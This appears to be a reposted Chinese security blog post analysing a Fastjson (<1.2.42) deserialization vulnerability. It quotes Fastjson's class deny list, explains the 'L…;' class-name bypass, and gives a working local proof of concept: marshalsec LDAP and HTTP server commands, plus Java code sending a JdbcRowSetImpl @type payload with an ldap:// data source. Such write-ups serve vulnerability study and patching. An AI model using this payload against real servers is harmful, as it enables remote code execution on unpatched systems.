fastjson小于1.2.42反序列漏洞分析(CNVD-2019-22238) – 作者:pomdxd

影响范围:

Fastjson<1.2.42

漏洞成因:

@type属性:Fastjson支持在json数据中使用@type属性,该json数据会被反序列化成指定的对象类型,在反序列化过程中fastjson会调用parse(jsonStr)函数尝试对对象的属性进行赋值,若对象的javabean存在属性的setter方法则调用set方法,反之调用get方法。自fastjson<=1.2.24反序列漏洞(CVE-2017-18349)之后,fastjson增加了黑名单校验机制,当类命中了黑名单,程序会异常退出,报错信息如下:

1615514828_604acccc08376e3537b5f.png!small

//黑名单如下
this.denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

跟踪TypeUtils.loadClass函数,发现一个怪异的判断处理逻辑,当类名以L开头且以;结尾,会去头去尾后调用loadclass函数,所以在构建的恶意类名前加一个L、类名后加;即可实现绕过。经过调试发现,要进入此判断函数,还需autoTypeSupport属性为true,但从1.2.25版本开始,autoTypeSupport属性默认为false,故增加了该漏洞的实际利用难度。

1615514854_604acce68348e9893b125.png!small

(3)漏洞利用—-以下漏洞利用的前提是autoTypeSupport属性设置为true

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 7777
python -m SimpleHTTPServer 80
public class Test {
    static {
        //默认为false,为了满足漏洞触发条件,设置为true
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    }
    public static void main(String[] args) throws SQLException, IOException {
        String className = "Lcom.sun.rowset.JdbcRowSetImpl;";
        String dataSourceName = "ldap://127.0.0.1:7777/any";
        String json = "{\"@type\":\"" + className + "\"," +
                "\"dataSourceName\":\"" + dataSourceName + "\"," +
                "\"autoCommit\":true" +
                "}";
        //JDK 8u191及以后,默认为false
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        JSON.parse(json);
    }
}

实现了计算器弹窗。

本文作者:CTCS安全攻防团队  pom

来源:freebuf.com 2021-03-12 10:12:44 by: pomdxd

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论